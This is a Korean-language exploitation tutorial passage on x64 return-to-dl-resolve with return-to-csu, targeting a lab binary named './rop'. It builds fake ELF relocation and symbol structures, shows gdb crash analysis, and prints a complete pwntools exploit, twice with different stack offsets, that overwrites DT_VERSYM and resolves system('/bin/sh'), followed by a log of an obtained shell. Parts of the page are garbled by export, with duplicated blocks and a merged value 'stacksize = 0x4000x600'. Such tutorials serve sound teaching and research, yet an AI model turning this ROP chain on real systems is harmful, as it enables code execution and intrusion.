...
FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym
다음과 같이 Fake 정보 영역을 확보합니다.
addr_reloc 영역은 다음과 같이 계산됩니다.
addr_reloc의 기본 영역은 base_stage + 8*26 입니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.
addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.
(addr_reloc
-
addr_relaplt)
/
24
fake_r_info 값은 다음과 같이 생성합니다.
addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.
ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.
ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
stacksize = 0x4000x600 base_stage = addr_bss + stacksize ... addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr |
Panel | ||
---|---|---|
| ||
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
- "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다.
- 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
- 여기서 중요한 것은 "base_stage"영역에 Write(w)권한이 있어야 합니다.
- 해당 영역에 쓰기권한이 없을 경우 _dl_lookup_symbol_x() 함수 처리중 에러가 발생합니다.
- 예를 들어 "addr_bss"의 값이 "0x600a00" 일 경우.
- "stacksize"의 값이 "0x400"이면 "base_stage"의 값이 "0x600e00"이기 때문에 값을 저장할 수 없습니다.(읽기 권한만 있음, 쓰기 권한 없음)
- "stacksize"의 값이 "0x600"이면 "base_stage"의 값이 "0x601000"이기 때문에 값을 저장할 수 있습니다.(읽기, 쓰기 권한 있음)
Code Block | ||
---|---|---|
| ||
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp | ||
Code Block | ||
| ||
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core Reading symbols from ./rop...(no debugging symbols found)...done. [New LWP 94008] Core was generated by `/home/lazenca0x0/Exploit/Return-to-dl-resolve/x64 - x64(feat.Return-to-csu)/rop'. Program0x00600000 terminated with signal SIGSEGV, Segmentation fault. #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 92 ../elf/dl-runtime.c: No such file or directory. gdb-peda$ bt #0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92 #1 0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112 #2 0x0000000000000000 in ?? () gdb-peda$ x/2i $rip => 0x7f4f9f99da65 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2] 0x7f4f9f99da69 <_dl_fixup+121>: and eax,0x7fff gdb-peda$ i r rax rax 0x400374 0x400374 gdb-peda$ i r rdx rdx 0x1561b 0x1561b gdb-peda$ |
- 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
- if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
} |
Exploit code
0x00601000 r--p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00007f63119e5000 0x00007f6311ba5000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
... |
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
- "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다.
- 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core
Reading symbols from ./rop...(no debugging symbols found)...done.
[New LWP 94008]
Core was generated by `/home/lazenca0x0/Exploit/dl-resolve/x64/rop'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
92 ../elf/dl-runtime.c: No such file or directory.
gdb-peda$ bt
#0 _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
#1 0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112
#2 0x0000000000000000 in ?? ()
gdb-peda$ x/2i $rip
=> 0x7f4f9f99da65 <_dl_fixup+117>: movzx eax,WORD PTR [rax+rdx*2]
0x7f4f9f99da69 <_dl_fixup+121>: and eax,0x7fff
gdb-peda$ i r rax
rax 0x400374 0x400374
gdb-peda$ i r rdx
rdx 0x1561b 0x1561b
gdb-peda$ |
- 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
- if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
} |
Exploit code
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
from struct import *
#context.log_level = 'debug'
elf = ELF('./rop')
# get section address
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
addr_got = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read = elf.got['read']
addr_got_write = elf.got['write']
log.info('Section Headers')
log.info('.dynsym : ' + hex(addr_dynsym))
log.info('.dynstr : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt : ' + hex(addr_plt))
log.info('.got : ' + hex(addr_got))
log.info('.bss : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
addr_csu_init1 = 0x40060a #
addr_csu_init2 = 0x4005f0 #
addr_leave_ret = 0x00400585 # leave; ret
addr_ret = 0x00400419 # ret
stacksize = 0x600
base_stage = addr_bss + stacksize
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage) # rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)
binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)
#sleep(20)
p.send(buf1)
#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8
addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)
addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7
fake_reloc_offset = (addr_reloc - addr_relaplt) / 24
fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
log.info('')
log.info('Fake Struct Information')
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9) #address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd) #"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive() |
Code Block | ||||
---|---|---|---|---|
| ||||
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py
[*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Section Headers
[*] .dynsym : 0x4002b8
[*] .dynstr : 0x400330
[*] .rela.plt : 0x4003b8
[*] .plt : 0x400420
[*] .got : 0x601000
[*] .bss : 0x601040
[*] read@got : 0x601020
[*] write@got : 0x601018
[+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575
[*]
[*] Fake Struct Information
[*] addr_csu_init1 :0x40060a
[*] addr_got_read :0x601020
[*] addr_dt_versym :0x7f9b90b08330
[*] addr_csu_init2 :0x4005f0
[*] addr_ret :0x400419
[*] base_stage + 8*9 :0x601688
[*] addr_fake_cmd :0x601757
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ | ||||
Code Block | ||||
| ||||
from pwn import *
from struct import *
#context.log_level = 'debug'
elf = ELF('./rop')
# get section address
addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt = elf.get_section_by_name('.plt').header['sh_addr']
addr_got = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read = elf.got['read']
addr_got_write = elf.got['write']
log.info('Section Headers')
log.info('.dynsym : ' + hex(addr_dynsym))
log.info('.dynstr : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt : ' + hex(addr_plt))
log.info('.got : ' + hex(addr_got))
log.info('.bss : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
addr_csu_init1 = 0x40060a #
addr_csu_init2 = 0x4005f0 #
addr_leave_ret = 0x00400585 # leave; ret
addr_ret = 0x00400419 # ret
stacksize = 0x400
base_stage = addr_bss + stacksize
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage) # rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)
binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)
#sleep(20)
p.send(buf1)
#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8
addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)
addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7
fake_reloc_offset = (addr_reloc - addr_relaplt) / 24
fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM
fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
log.info('')
log.info('Fake Struct Information')
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9) #address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd) #"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive() |
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/27/205322
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- http://pwdme.cc/2017/09/27/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-64-bit-system/
...